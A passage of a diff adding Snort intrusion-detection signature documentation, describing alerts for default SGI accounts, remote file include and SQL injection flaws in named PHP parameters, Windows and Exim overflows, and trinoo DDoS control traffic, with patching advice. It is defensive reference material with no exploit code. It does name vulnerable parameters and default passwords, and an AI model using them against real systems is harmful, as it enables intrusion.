+SGI based machines. The password may also be 4Dgifts or it may not have
+a password assigned.
+
+Repeated events from this rule may indicate a determined effort to guess
+the password for this account.
+
+--
+Affected Systems:
+	SGI Telnet servers.
+
+--
+Attack Scenarios:
+An attacker may attempt to connect to a telnet server using the username
+4Dgifts.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disable the 4Dgifts account.
+
+Use ssh as an alternative to Telnet
+
+Block inbound telnet access if it is not required.
+
+--
+Contributors:
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1655.txt
+++ snort-2.8.5.2/doc/signatures/1655.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1655
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000332.txt
+++ snort-2.8.5.2/doc/signatures/100000332.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000332
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Artmedic Newsletter" application running on a webserver. Access to the file "log.php" using a remote file being passed as the "email" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "email" parameter in the "log.php" script used by the "Artmedic Newsletter" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Artmedic Newsletter
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2844.txt
+++ snort-2.8.5.2/doc/signatures/2844.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2844
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure refresh_snapshot_repgroup
+. This procedure is included in
+sys.dbms_repcat_sna_utl.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2324.txt
+++ snort-2.8.5.2/doc/signatures/2324.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+2324
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in Virtual Programming VP-ASP web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in Virtual Programming VP-ASP web application running on a
+server. It may be possible to use SQL injection techniques to supply
+SQL code of an attackers choosing to the database used in the
+application.
+
+--
+Affected Systems:
+	Virtual Programming VP-ASP 4.0
+	Virtual Programming VP-ASP 5.0
+
+--
+Attack Scenarios:
+An attacker can inject SQL code of their choosing to view and manipulate
+data stored in the underlying database used by the application.
+
+--
+Ease of Attack:
+Simple. Exploit software is not required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/834.txt
+++ snort-2.8.5.2/doc/signatures/834.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+834
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3294.txt
+++ snort-2.8.5.2/doc/signatures/3294.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3294
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3263.txt
+++ snort-2.8.5.2/doc/signatures/3263.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3263
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1415.txt
+++ snort-2.8.5.2/doc/signatures/1415.txt
@@ -0,0 +1,76 @@
+Rule:
+
+--
+Sid:
+1415
+
+--
+
+Summary:
+This event is generated when an SNMP-Trap connection over UDP to a 
+broadcast address is made.
+
+--
+
+Impact:
+Information gathering
+
+--
+
+Detailed Information:
+The SNMP (Simple Network Management Protocol) Trap daemon usually 
+listens on port 161, tcp or udp.
+
+An attacker may attempt to send this request to determine if any devices
+are using SNMP.
+
+--
+
+Affected Systems:
+Devices running SNMP Trap daemons on well known ports.
+
+--
+
+Attack Scenarios:
+An attacker sends a packet directed to udp port 161, if sucessful a 
+reply is generated and the attacker may then launch further attacks 
+against the SNMP daemon on the responding IP addresses.
+
+--
+
+Ease of Attack:
+Simple.
+
+--
+
+False Positives:
+None known.
+
+--
+
+False Negatives:
+None known.
+
+--
+
+Corrective Action:
+Use a packet filtering firewall to protect devices using the SNMP 
+protocol and only allow connections from well-known hosts.
+
+--
+
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Chaos <c@aufbix.org>
+
+-- 
+
+Additional References:
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0013
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0012
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000628.txt
+++ snort-2.8.5.2/doc/signatures/100000628.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+100000628
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "message_subscriber.php" using a remote file being passed as 
+the "admin_template_path" parameter may indicate that an exploitation attempt 
+has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the 
+"message_subscriber.php" script used by the "Indexu" application running on a 
+webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/886.txt
+++ snort-2.8.5.2/doc/signatures/886.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+886
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000772.txt
+++ snort-2.8.5.2/doc/signatures/100000772.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000772
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection vulnerability in the "Blog CMS" application running on a webserver. Access to the file "index.php" with SQL commands being passed as the "DokiWiki" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a remote machine via the "DokiWiki" parameter in the "index.php" script used by the "Blog CMS" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to compromise the database backend for the application, the attacker may also be able to execute system binaries or malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Blog CMS
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application if user input is not correctly sanitized or checked before passing that input to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2961.txt
+++ snort-2.8.5.2/doc/signatures/2961.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+2961
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft Network Dynamic Data Exchange (NetDDE)
+services.
+
+--
+Impact:
+Serious. Execution of arbitrary code with system level privileges
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft NetDDE that may allow an attacker to
+run code of their choosing with system level privileges. A programming
+error in the handling of network messages may give an attacker the
+opportunity to overflow a fixed length buffer by using a specially
+crafted NetDDE message.
+
+This service is not started by default on Microsoft Windows systems, but
+this issue can also be exploited locally in an attempt to escalate
+privileges after a successful attack from an alternate vector.
+
+--
+Affected Systems:
+	Microsoft Windows NT, 2000, 2003, XP, 98 and ME systems.
+
+--
+Attack Scenarios:
+An attacker needs to craft a special NetDDE message in order to overflow
+the affected buffer.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Disable the NetDDE service.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Microsoft Security Bulletin MS04-031:
+http://www.microsoft.com/technet/security/bulletin/ms04-031.mspx
+
+--
--- snort-2.8.5.2.orig/doc/signatures/376.txt
+++ snort-2.8.5.2/doc/signatures/376.txt
@@ -0,0 +1,56 @@
+Rule:
+--
+
+Sid:
+376
+
+--
+Summary:
+This event is generated when an ICMP echo request is made from a Windows host.
+
+--
+Impact:
+Information gathering.  An ICMP echo request can determine if a host is active.
+
+--
+Detailed Information:
+An ICMP echo request is used by the ping command to elicit an ICMP echo reply from a listening live host.  An echo request that originates from a Windows host contains a unique payload in the message request.
+
+--
+Affected Systems:
+All
+
+--
+Attack Scenarios:
+An attacker may attempt to determine live hosts in a network prior to launching an attack.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+An ICMP echo request may be used to legimately troubleshoot networking problems.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Block inbound ICMP echo requests.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.org>
+Documented by Steven Alexander<alexander.s@mccd.edu>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS159
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1177.txt
+++ snort-2.8.5.2/doc/signatures/1177.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1177
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/235.txt
+++ snort-2.8.5.2/doc/signatures/235.txt
@@ -0,0 +1,65 @@
+Rule:
+
+--
+Sid:
+235
+
+--
+Summary:
+This event is generated when a trinoo DDoS attacker host communicates with a master host.  
+
+--
+Impact:
+Attempted DDoS. If the listed source IP is in your network, it may be a trinoo attacker. If the listed destination IP is in your network, it may be a trinoo master.
+
+--
+Detailed Information:
+The trinoo DDoS uses a tiered structure of compromised hosts to coordinate and participate in a distributed denial of service attack. At the highest level, attackers communicate with masters to direct them to launch attacks.  An attacker may communicate with a master via TCP destination port 27665 with a string of "killme" in the payload.  This string is a default mdie password.
+
+--
+Affected Systems:
+Any trinoo compromised host.
+
+--
+Attack Scenarios:
+A trinoo attacker will communicate with masters to direct them to launch attacks.
+
+--
+Ease of Attack:
+Simple. trinoo code is freely available.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Perform proper forensic analysis on the suspected compromised host to discover the means of compromise.
+
+Rebuild a confirmed compromised host.
+
+Use a packet-filtering firewall to block inappropriate traffic to the network to prevent hosts from being compromised.
+
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0138
+SecurityFocus:
+http://www.securityfocus.com/archive/1/37706
+
+CERT:
+http://www.cert.org/incident_notes/IN-99-07.html#trinoo
+
+--
--- snort-2.8.5.2.orig/doc/signatures/111-13.txt
+++ snort-2.8.5.2/doc/signatures/111-13.txt
@@ -0,0 +1,59 @@
+Rule: 
+
+--
+Sid: 
+111-13
+
+-- 
+Summary: 
+This event is generated when the pre-processor stream4
+detects network traffic that may constitute an attack.
+
+-- 
+Impact: 
+This may indicate scanning activity.
+
+--
+Detailed Information:
+The pre-processor stream4 has detected network traffic that may indicate
+a stealth scan is in progress. That is, packets with both the SYN and FIN
+flags set have been detected. This is not normal behavior in TCP
+connections.
+
+--
+Affected Systems:
+	All systems
+
+--
+Attack Scenarios: 
+An attacker may utilize scanning techniques to determine possible points
+of exploitation against a host.
+
+-- 
+Ease of Attack: 
+Simple. Many scanning tools exist.
+
+-- 
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+-- 
+Corrective Action:
+Check the target host for signs of compromise.
+
+Ensure the system is up to date with any appropriate vendor supplied patches.
+
+--
+Contributors:
+Martin Roesch <roesch@sourcefire.com>
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/348.txt
+++ snort-2.8.5.2/doc/signatures/348.txt
@@ -0,0 +1,61 @@
+SID:
+348
+--
+
+Rule:
+--
+
+Summary:
+This event is generated when an attack attempt is made against an ftp 
+server possibly running a vulnerable ftpd
+--
+
+Impact:
+Possible remote execution of commands on the affected server as the root user
+--
+
+Detailed Information:
+The Washington University ftp daemon (wu-ftpd) does not perform proper 
+checking in its SITE EXEC implementation, and allows user input to be 
+sent directly to printf. This allows an attacker to overwrite data and 
+eventually execute code on the server.
+
+This rule detects code from a published exploit called bobek.c
+--
+
+Affected Systems:
+Any system running wu-ftpd 2.6 .0 or below
+--
+
+Attack Scenarios:
+A remote attacker will attempt to execute commands on the ftp server 
+with root user privileges, over writing or modifying system files. This 
+can be done with anonymous and real user logins.
+--
+
+Ease of Attack:
+Simple, Exploits exist
+--
+
+False Positives:
+None known
+--
+
+False Negatives:
+None known
+--
+
+Corrective Action:
+Upgrade to latest version which has fixes for this problem. Maybe even get rid of wu-ftp with something more secure
+--
+
+Contributors:
+Snort documentation contributed by matthew harvey <indexone@yahoo.com>
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2596.txt
+++ snort-2.8.5.2/doc/signatures/2596.txt
@@ -0,0 +1,68 @@
+Rule:
+
+
+--
+Sid:
+2596
+
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer overflow
+associated with the Mail Transfer Agent Exim.
+
+--
+Impact:
+A successful attack may allow the execution of arbitrary code on a vulnerable
+server with the privilege of the process running Exim.
+
+--
+Detailed Information:
+Exim is vulnerable to a buffer overflow, permitting an attacker to execute
+arbitrary code.  The vulnerability may be exploited if Exim is configured to
+verify header syntax in the e-mail message body.  This is not the default
+configuration.  If an attacker supplies a large number of spaces after certain
+header fields, it may be possible to cause a buffer overflow.
+
+--
+Affected Systems:
+Exim prior to version 4.34
+
+--
+Attack Scenarios:
+An attacker can create and send mail with a malformed header,
+possibly causing a buffer overflow and permitting the execution of arbitrary code.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References
+
+Bugtraq:
+http://www.securityfocus.com/bid/10291
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0400
+
+Other:
+http://www.guninski.com/exim1.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1806.txt
+++ snort-2.8.5.2/doc/signatures/1806.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+1806
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer overflow associated with chunked encoding processing of HTR in Internet Information Services (IIS). 
+
+--
+Impact:
+Remote Access.  If the exploit is successful, an attacker can gain remote access of the target host. 
+
+--
+Detailed Information:
+A buffer overflow exists with chunked encoding processing associated with HTR in IIS.  Chunked encoding allows different sized chunks of data to be passed from the web client to the server.  HTR is an older scripting language still supported by IIS. A heap overflow vulnerability exists because of an error in chunked encoding data transfer associated with the Internet Services Application Programming Interface (ISAPI) extension that implements HTR.
+
+--
+Affected Systems:
+
+Microsoft IIS 4.0, 5.0 
+
+--
+Attack Scenarios:
+An attacker can craft a chunked encoded request to exploit the heap overflow.
+
+--
+Ease of Attack:
+Moderate.  Microsoft advises that this heap overflow is not as difficult to exploit as others.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+
+Apply the appropriate patch:
+
+  Microsoft IIS 4.0:
+     http://www.microsoft.com/Downloads/Release.asp?ReleaseID=39579
+  Microsoft IIS 5.0:
+     http://www.microsoft.com/Downloads/Release.asp?ReleaseID=39217 
+
+Investigate running the IIS Lockdown Tool to disable HTR functionality.
+
+--
+Contributors:
+Original rule written by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+CVE
+http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0364
+
+Bugtraq
+http://www.securityfocus.com/bid/4855
+
+Microsoft
+http://www.microsoft.com/technet/security/bulletin/ms02-028.asp
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000814.txt
+++ snort-2.8.5.2/doc/signatures/100000814.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000814
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "SimpleBoard SBP" application running on a webserver. Access to the file "image_upload.php" using a remote file being passed as the "sbp" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "sbp" parameter in the "image_upload.php" script used by the "SimpleBoard SBP" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
